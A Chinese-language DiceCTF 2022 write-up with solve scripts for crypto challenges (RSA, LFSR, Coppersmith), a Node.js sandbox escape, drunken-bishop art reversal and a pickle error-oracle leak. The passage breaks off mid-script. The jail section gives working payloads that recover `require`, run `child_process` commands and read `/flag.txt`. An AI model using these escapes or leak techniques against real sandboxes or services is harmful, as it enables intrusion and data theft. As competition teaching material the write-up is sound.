DiceCTF 2022 WriteUps
這次 Solo 用 nyahello
參加 DiceCTF 拿第 15 名,感想是題目難到讓我懷疑我到底會不會 web 和 crypto,另一方面又學到了很多新東西。這邊是來自官方的 writeup。
題目名稱上有 *
的題目代表是我賽後才解的。
Crypto
baby-rsa
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
def getAnnoyingPrime(nbits, e):
while True:
p = getPrime(nbits)
if (p-1) % e**2 == 0:
return p
nbits = 128
e = 17
p = getAnnoyingPrime(nbits, e)
q = getAnnoyingPrime(nbits, e)
flag = b"dice{???????????????????????}"
N = p * q
cipher = pow(bytes_to_long(flag), e, N)
print(f"N = {N}")
print(f"e = {e}")
print(f"cipher = {cipher}")
RSA 的 只有 256 bit,直接用 FactorDB 或是 yafu, cadonfs, alpertron 之類的工具分解也可以。之後因為 和 使得它不能直接 inverse 算出 。
這個情況下它的根不是唯一的,正常方法是使用 AMM 之類的算法求 一根,然後乘 e-th roots of unity 就能拿到 e 個根符合 。
來源: 【浅谈系列】高次剩余的求解
不過這題的 很小,sage 本身就能用 GF(p)(c).nth_root(e, all=True)
處理了。分別找 底下的根後 CRT 回來即可拿到 個解,看哪個符合 flag format。上面的 AMM 通常只在 比較大的時候會比 sage 好。
from Crypto.Util.number import *
p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821
e = 17
c = 19441066986971115501070184268860318480501957407683654861466353590162062492971
for mp in GF(p)(c).nth_root(e, all=True):
for mq in GF(q)(c).nth_root(e, all=True):
m = crt([ZZ(mp), ZZ(mq)], [p, q])
flag = long_to_bytes(m)
if flag.startswith(b"dice{"):
print(flag)
# dice{cado-and-sage-say-hello}
這邊也有另一個算法可以復原: Incorrectly Generated RSA Keys: How To Recover Lost Plaintexts
rejected
#!/usr/local/bin/python
import secrets
class LFSR:
def __init__(self, key, taps):
self._s = key
self._t = taps
def _sum(self, L):
s = 0
for x in L:
s ^= x
return s
def _clock(self):
b = self._s[0]
self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
return b
def bit(self):
return self._clock()
class RNG:
def __init__(self, lfsr, N, nbits):
self.lfsr = lfsr
self.N = N
self.nbits = nbits
if not (pow(2, 27) < N < pow(2, 31)):
raise ValueError("modulus is too big or small")
K = pow(2, nbits) // N
self.cutoff = K * N
def get_random_nbit_integer(self):
res = 0
for i in range(self.nbits):
res += self.lfsr.bit() << i
return res
def get_random_integer_modulo_N(self):
count = 1
while True:
x = self.get_random_nbit_integer()
if x < self.cutoff:
return x % self.N, count
count += 1
taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64
with open("flag.txt", "r") as f:
flag = f.read()
if __name__ == "__main__":
print("Welcome to the unbiased random number factory!")
N = int(input("What modulus would you like to use? Choose between 2^27 and 2^31: "))
key = secrets.randbits(n)
key_bits = [(key >> i)&1 for i in range(n)]
lfsr = LFSR(key_bits, taps)
rng = RNG(lfsr, N, 32)
for _ in range(1024):
c = input("Enter your command (R,F): ")
if c.startswith("R"):
x,t = rng.get_random_integer_modulo_N()
print("creating this random number took {} attempts".format(t))
elif c.startswith("F"):
seed = int(input("what was my seed?"))
if seed == key:
print(flag)
exit(0)
else:
print("unsupported command")
這題有個 degree 64 的 LFSR,然後 RNG 是使用 LFSR 反覆產生 32 bits 的數之後經過一些篩選後回傳嘗試的次數 attempts
,不含隨機數本身。
篩選的部分是採用 rejection sampling 檢查是否小於 cutoff
,其中 cutoff
是
如果 attempts
都是 1 的話提供不了什麼有用的次數,所以 不能整除 。測試一下會發現 的話 cutoff
是 ,以二進位展開是 11000000000000000000000000000000
。
很明顯的,x >= self.cutoff
只會發生在 x
的最高兩 bits 是 1
的情況,所以當回傳的 attempts
大於 1
的時候就能獲得 2*(attempts-1)
bits 的資訊。獲得 64 bits 之後解 LFSR 的線性系統就能還原 key。
from sage.all import PolynomialRing, GF, matrix, vector, companion_matrix
from pwn import process, remote
taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64
N = 2 ** 31 - 2 ** 29
cutoff = (2 ** 32 // N) * N
print(f"{cutoff:032b}")
# io = process(["python", "rejected.py"])
io = remote("mc.ax", 31669)
io.sendlineafter(b": ", str(N).encode())
def get_num():
io.sendlineafter(b"Enter your command (R,F): ", b"R")
io.recvuntil(b"took ")
return int(io.recvuntilS(b" ").strip())
# get some bits
bits = []
known_bits = 0
while known_bits < 64:
print(f"{known_bits}")
t = get_num()
while t > 1:
# number are rejected iff highest 2 bits are set
bits.extend(["?"] * 30 + [1, 1])
t -= 1
known_bits += 2
bits.extend(["?"] * 32)
print("".join(map(str, bits)))
P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 64
M = companion_matrix(poly, "bottom")
# construct linear system
left = []
right = []
for i, b in enumerate(bits):
if b != "?":
Mi = M ** i
left.append(Mi[0])
right.append(b)
# solve
kbits = matrix(left).solve_right(vector(right))
recovered_key = int("".join(map(str, kbits[::-1])), 2)
print(f"{recovered_key = }")
io.sendlineafter(b"Enter your command (R,F): ", b"F")
io.sendlineafter(b"seed?", str(recovered_key).encode())
io.interactive()
# dice{so-many-numbers-got-rejected-on-valentines-day-1cc16ff5b20d6be1fbd65de0d234608c}
*commitment-issues
from random import randrange
from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD
flag = b'dice{?????????????????????????}'
n = 5
def get_prime(n, b):
p = getPrime(b)
while GCD(p - 1, n) != 1:
p = getPrime(b)
return p
p = get_prime(n, 1024)
q = get_prime(n, 1024)
N = p*q
phi = (p - 1)*(q - 1)
e = 0xd4088c345ced64cbbf8444321ef2af8b
d = inverse(e, phi)
def sign(message):
m = bytes_to_long(message)
return pow(m, d, N)
def commit(s, key, n):
return (s + key) % N, pow(key, n, N)
def reveal(c1, c2, key, n):
assert pow(key, n, N) == c2
return (c1 - key) % N
r = randrange(1, N)
s = sign(flag)
c1, c2 = commit(s, r, n)
print(f'N = {hex(N)}')
print(f'c1 = {hex(c1)}')
print(f'c2 = {hex(c2)}')
這題有個 RSA 的 ,和以下幾個等式:
為方便,此篇的運算都是在 中的
顯然可知 ,另外和 取 resultant 消除 的話可以得到一個五次的 多項式。因為 應該不大,直接用 coppersmith 能求出 flag。
取比較小的 用 sage 測試也確實可以成功,但是問題就在於這題的 很大,沒辦法算 resultant。比賽中沒解出來就是卡在這邊。
這題的技巧是設 ,顯然 。然後在多項式環 中的 可以視為和 等價, (等價於 ) 也能在 sage 中很有效率的計算出來,會是一個 的四次多項式。
從前面知道說存在一個五次多項式 以 為根,所以可以用矩陣找出 non trivial 的多項式係數:
註: 都是四次多項式
找出係數後 coppersmith 就能獲得 flag 了。
不過在實作會遇到的問題是 solve_right
只能找出 trivial solution,內建的 right kernel 也沒有在 mod N 底下的 implementation。一個做法是自己手寫 gauss elimination,不過我偷懶改用 LLL 比較簡單。
from Crypto.Util.number import long_to_bytes
N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B
Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
R = P.quotient((c1 - t) ^ 5 - c2, "t")
t = R._first_ngens(1)[0] # same as s
te = t ** e # same as m
basis = [te ^ i for i in range(6)]
# idk how to find a non trivial linear combination to zero vector in sage
# solve_right only gives trivial solution
# right_kernel doesn't work modulo N
# so I use a stupid LLL hack
mm = matrix([list(x) for x in basis]).change_ring(ZZ).stack(matrix.identity(5) * N)
reduced, tr = mm.LLL(transformation=True)
assert reduced[0] == 0
coefs = tr[0][:6].change_ring(Z)
S = PolynomialRing(Z, "m")
m = S.gen()
ff = sum([c * m ** i for i, c in enumerate(coefs)])
m = ff.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))
# dice{wh4t!!-wh0_g4ve_u-thE-k3y}
後來也發現上面其實不用那麼麻煩,一樣取 和 可以簡單的計算出 ,它會是一個四次的 多項式 。所以 都設為未知數的話會變成 ,另外和原本的 可以算 resultant 把 消除,得到一個 的多項式以 為根,所以 coppersmith 即可求出 。
這之所以可以 work 是因為 ,顯然左右側都以 為根,同時 也成立所以能用 quotient ring 的運算以 去代替 。
from Crypto.Util.number import long_to_bytes
N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B
Z = Zmod(N)
P = PolynomialRing(Z, "x")
x = P.gen()
g = (c1 - x) ^ 5 - c2
R = P.quotient(g, "t")
t = R.gen() # same as s
f = t ^ e # represent s^e as a degree 4 polynomial in t
Pxy = PolynomialRing(Z, "x,y")
x, y = Pxy.gens()
f = f.lift().change_ring(Pxy) - y # s^e - m in x, y
g = g.change_ring(Pxy) # polynomial in x
res = f.resultant(g).univariate_polynomial()
m = res.monic().small_roots(X=2**256, epsilon=0.08)[0]
print(long_to_bytes(int(m)))
另外看到另一個方法比較簡單。原本有個 多項式的根是 ,目標要想辦法找個多項式 的根是 ,這樣就能用 coppersmith。
做法是用 的伴隨矩陣 ,開 次得到 之後取它的特徵多項式就是 了。 之所以符合 是因為 是 的 eigenvalue,所以 是 的 eigenvalue,自然也是 的根。
from Crypto.Util.number import long_to_bytes
N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B
Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
p = (c1 - t) ^ 5 - c2 # p(s)=0
M = companion_matrix(p.monic())
q = (M ^ e).charpoly() # q(s^e)=q(m)=0
m = q.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))
*correlated
#!/usr/local/bin/python
import secrets
class LFSR:
def __init__(self, key, taps):
self._s = key
self._t = taps
def _sum(self, L):
s = 0
for x in L:
s ^= x
return s
def _clock(self):
b = self._s[0]
self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
return b
def bit(self):
return self._clock()
taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
n = 48
m = 20000
prob = 0.80
delta = 1048576
with open("flag.txt", "r") as f:
flag = f.read()
if __name__ == "__main__":
print("I heard that fast correlation attacks don't work if your LFSR has more than 10 taps.")
print("You have 60 seconds to recover the key.")
key = secrets.randbits(n)
key_bits = [(key >> i)&1 for i in range(n)]
lfsr = LFSR(key_bits, taps)
stream = [lfsr.bit() for _ in range(m)]
noise = [secrets.randbelow(delta) > prob * delta for i in stream]
stream = [i ^ j for i,j in zip(noise, stream)]
print("Here are {} bits of the stream with {}% accuracy".format(m, 100 * prob))
print(int("".join(map(str, stream)), 2))
seed = int(input("what is my key?"))
if seed == key:
print(flag)
這題因為在題目介紹看到有我不會的 fast correlation attack 就連檔案都沒下載,不過賽後來看才發現有個比我預期的簡單很多的解法(大概也不是 intended)。
簡單來說有個 48 degree 的 LFSR 輸出 20000 bits 的輸出,其中有 20% 的 bits 都會 flip 過,目標是要找回初始狀態。
如果隨便取 48 bits 都是沒有 flip 過的,那就能解線性系統找回初始狀態。因此有個簡單的解法就是真的直接暴力撞 的機率去賭全部都沒 flip 過。隨機撞 30000 次都沒找到結果的機率是 ,所以成功率是 ,在 CTF 中已經相當夠了。
from sage.all import *
from pwn import *
import random
from tqdm import tqdm
class LFSR:
def __init__(self, key, taps):
self._s = key
self._t = taps
def _sum(self, L):
s = 0
for x in L:
s ^= x
return s
def _clock(self):
b = self._s[0]
self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
return b
def bit(self):
return self._clock()
# fmt: off
taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
# fmt: on
n = 48
m = 20000
prob = 0.80
delta = 1048576
# io = process(["python", "correlated.py"])
io = remote("mc.ax", 31683)
io.recvuntil(b"accuracy\n")
num = int(io.recvlineS())
stream = list(map(int, f"{num:020000b}"))
P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 48
M = companion_matrix(poly, "bottom")
M_powers = [M ** i for i in range(len(stream))] # cache for speeding up
pbar = tqdm(desc="Brute force with prob 0.8^48")
while True:
pbar.n += 1
pbar.update()
if pbar.n > 30000:
print("Unlucky, just try again")
exit()
chosen_idx = random.sample(range(len(stream)), 48)
left = []
right = []
for i in chosen_idx:
Mi = M_powers[i]
left.append(Mi[0])
right.append(stream[i])
try:
kbits = list(map(int, matrix(left).solve_right(vector(right))))
except ValueError:
# no solutions
continue
test_m = 200 # we don't need to test that much
new_lfsr = LFSR(kbits, taps)
new_stream = [new_lfsr.bit() for _ in range(test_m)]
if sum([x == y for x, y in zip(new_stream, stream)]) >= 0.70 * test_m:
recovered_key = int("".join(map(str, kbits[::-1])), 2)
print(f"{recovered_key = }")
pbar.close()
break
io.sendline(str(recovered_key).encode())
io.interactive()
# dice{low-flavor-solar-radiation-efec606520fba4c}
30000 次在我的電腦上大概花 36 秒,不成功就多試幾次而已
Misc
undefined
#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;
Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;
for (const key of Object.getOwnPropertyNames(global)) {
if (["global", "console", "eval"].includes(key)) {
continue;
}
global[key] = undefined;
delete global[key];
}
delete global.global;
process = undefined;
{
let AbortController=undefined;let AbortSignal=undefined;let AggregateError=undefined;let Array=undefined;let ArrayBuffer=undefined;let Atomics=undefined;let BigInt=undefined;let BigInt64Array=undefined;let BigUint64Array=undefined;let Boolean=undefined;let Buffer=undefined;let DOMException=undefined;let DataView=undefined;let Date=undefined;let Error=undefined;let EvalError=undefined;let Event=undefined;let EventTarget=undefined;let FinalizationRegistry=undefined;let Float32Array=undefined;let Float64Array=undefined;let Function=undefined;let Infinity=undefined;let Int16Array=undefined;let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;let Intl=undefined;let JSON=undefined;let Map=undefined;let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;let MessagePort=undefined;let NaN=undefined;let Number=undefined;let Object=undefined;let Promise=undefined;let Proxy=undefined;let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;let String=undefined;let Symbol=undefined;let SyntaxError=undefined;let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;let exports=undefined;let _error=undefined;let assert=undefined;let async_hooks=undefined;let atob=undefined;let btoa=undefined;let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;let constants=undefined;let crypto=undefined;let decodeURI=undefined;let decodeURIComponent=undefined;let dgram=undefined;let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;let encodeURI=undefined;let encodeURIComponent=undefined;let arguments=undefined;let escape=undefined;let events=undefined;let fs=undefined;let global=undefined;let globalThis=undefined;let http=undefined;let http2=undefined;let https=undefined;let inspector=undefined;let isFinite=undefined;let isNaN=undefined;let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;let parseInt=undefined;let path=undefined;let perf_hooks=undefined;let performance=undefined;let process=undefined;let punycode=undefined;let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;let repl=undefined;let require=undefined;let setImmediate=undefined;let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;let sys=undefined;let timers=undefined;let tls=undefined;let trace_events=undefined;let tty=undefined;let unescape=undefined;let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;let wasi=undefined;let worker_threads=undefined;let zlib=undefined;let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;let propertyIsEnumerable=undefined;let toLocaleString=undefined;let toString=undefined;let valueOf=undefined;
console.log(eval(input));
}
這題是個 node.js jail,其中 global 上一堆東西以及 Function
都變成 undefined
了。
雖然這個是 CJS 的 module,但不知為什麼 import(xx).then(...)
還是能用,所以有個非常簡單的 unintended:
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
不過我是比賽完才知道可以這樣弄的,我的解法是參考這邊拿 structured stack trace,然後從上面找到 CJS module 本身的 function: function (exports, require, module, __filename, __dirname) { /* actual code */ }
。所以 fn.arguments[1]
就是 require
,之後直接讀檔即可。
把下面這個 minify 過就能用了:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
// dice{who_needs_builtins_when_you_have_arguments}
不過預期解比較簡單,一樣是從 arguments
拿 require
,不過不需要 stack trace:
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
sober-bishop
這題就只給兩個檔案:
+----[THIS IS]----+
| o o+++|
| + . .=*E|
| B . . oo=|
| = . . .+ |
| S |
| |
| |
| |
| |
+---[THE FLAG]----+
+----[THIS IS]----+
| .E=. |
| o.. |
| o .. |
| o o. |
| O .S |
| o B |
| o o |
| ... B |
| +=.= . |
+---[md5(FLAG)]---+
這個是 openssh 在生成 key 的時候會出現的 fingerprint 圖案,生成方法在這邊,叫 Drunken Bishop Algorithm。
它基本上就是從中心開始,反覆從資料讀取 2 bits 去決定要往哪個方向走(左上、左下、右上、右下)。經過的點會記錄它被踩過的次數,然後轉換成字元,其中 S
和 E
是起點和終點。
顯然地,這題變成一個 graph traversal 問題,直接寫 BFS 剪枝去炸會發現挺慢的。我是用已知的 dice{
prefix 減少一點搜索範圍,然後透過觀察輸出去猜前兩字元是 un
,之後用 pypy3 跑腳本大概可以壓在 10 秒鐘左右輸出 flag。
from hashlib import md5
def clamp(mn, val, mx):
return max(mn, min(val, mx))
FLDBASE = 8
FLDBASE_X = FLDBASE * 2 + 1
FLDBASE_Y = FLDBASE + 1
AUG = b" .o+=*BOX@%&#/^SE"
def randomart(msg: bytes):
l = len(AUG) - 1
field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
x, y = FLDBASE_X // 2, FLDBASE_Y // 2
field[x][y] = l - 1
for v in msg:
for _ in range(4):
x += 1 if v & 0x1 else -1
y += 1 if v & 0x2 else -1
x = clamp(0, x, FLDBASE_X - 1)
y = clamp(0, y, FLDBASE_Y - 1)
if field[x][y] < l - 2:
field[x][y] += 1
v >>= 2
field[x][y] = l
return field
def printart(field):
for y in range(FLDBASE_Y):
for x in range(FLDBASE_X):
print(chr(AUG[field[x][y]]), end="")
print()
def printart_num(field):
for y in range(FLDBASE_Y):
for x in range(FLDBASE_X):
v = field[x][y]
if AUG[v] == ord("S"):
v = "S"
elif AUG[v] == ord("E"):
v = "E"
print(v, end=" ")
print()
from collections import deque
def reverse_randomart(field, is_goodpath):
sx, sy = find_value(field, AUG.index(b"S"))
directions = [(1, 1, 0b11), (1, -1, 0b01), (-1, 1, 0b10), (-1, -1, 0b00)]
q = deque([(sx, sy, [], field)])
while len(q) > 0:
x, y, path, cur_field = q.popleft()
for dx, dy, bits in directions:
xx = clamp(0, x + dx, FLDBASE_X - 1)
yy = clamp(0, y + dy, FLDBASE_Y - 1)
if cur_field[xx][yy] > 0:
copied_field = list(map(list, cur_field))
copied_field[xx][yy] -= 1
next_path = path + [bits]
if is_goodpath(next_path):
q.append((xx, yy, path + [bits], copied_field))
def find_value(field, v):
for x in range(FLDBASE_X):
for y in range(FLDBASE_Y):
if field[x][y] == v:
return x, y
def bordered_to_field(s: bytes):
field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
y = 0
for ss in s.strip().splitlines()[1:-1]:
line = ss.strip()[1:-1]
if len(line) == 0:
continue
for x in range(len(line)):
field[x][y] = AUG.index(line[x])
y += 1
return field
with open("flag", "rb") as f:
flag_field = bordered_to_field(f.read())
with open("hash", "rb") as f:
hash_field = bordered_to_field(f.read())
def is_goodpath(path):
if len(path) % 4 == 0:
ar = []
for i in range(0, len(path), 4):
d, c, b, a = path[i : i + 4]
ar.append((a << 6) | (b << 4) | (c << 2) | d)
if len(ar) > 0 and not bytes(ar).isascii():
return False
pfx = b"un" # guess
for x, y in zip(ar, pfx):
if x != y:
return False
for i, x in enumerate(ar[len(pfx) :]):
if not (
ord("a") <= x <= ord("z")
or ord("0") <= x <= ord("9")
or x == ord("_")
or x == ord("-")
or x == ord("}")
):
return False
if x == ord("}") and i + len(pfx) != len(ar) - 1:
return False
flag = b"dice{" + bytes(ar)
print(flag)
if flag.endswith(b"}"):
if randomart(md5(flag).digest()) == hash_field:
print("FOUND")
exit()
return True
known_field = randomart(b"dice{")
printart_num(known_field)
print()
printart_num(flag_field)
print()
x, y = find_value(known_field, AUG.index(b"E"))
print(x, y)
field = [[x - y for x, y in zip(r1, r2)] for r1, r2 in zip(flag_field, known_field)]
field[x][y] = AUG.index(b"S")
printart(field)
reverse_randomart(field, is_goodpath)
# use pypy3
# dice{unr4nd0m}
Vinegar
import pickle
import sys
import io
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
raise pickle.UnpicklingError(f"HACKING DETECTED")
data = sys.stdin.buffer.readline()+b"dice{<REDACTED>}"
SafeUnpickler(io.BytesIO(data)).load()
可以輸入任意資料,然後會在後面接上 flag 之後去用 pickle load,不能呼叫任何 find_class
。
去讀 pickle source code (Python version, C version) 可以看到 LONG1
會從 buffer 中拿一個 byte 當作長度 n
,之後讀取 n
bytes 用 little endian 當作數字 push 到 stack 上。可以利用這個讓它跳到 flag 的部份去讀取。
因為那些字元都算是亂來的,pickle 很容易出現 error,因此就能根據 error message 去猜可能的字元是什麼。這部分需要點自動結合人工去弄,還好 flag 長度不長,多花點時間是可以把它猜回來的。
我解這題時用的輔助腳本最後的狀態:
from pwn import *
import pickle
import io
import string
from collections import defaultdict
from functools import partial, lru_cache
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
raise pickle.UnpicklingError(f"HACKING DETECTED")
def get_err(c, prefix):
# file = io.BytesIO(b"()\x88Kx" + bytes([c]) + b'*!@#$%^')
file = io.BytesIO(
b"()\x88Kx\x8a"
+ bytes([1 + len(prefix)])
+ b"\n"
+ prefix
+ bytes([c])
+ b"x" * 30
)
pkl = SafeUnpickler(file)
try:
pkl.load()
except Exception as ex:
import traceback
return traceback.format_exc()
def build_dict(prefix):
rev = defaultdict(list)
for c in string.ascii_letters + string.digits + "{_}":
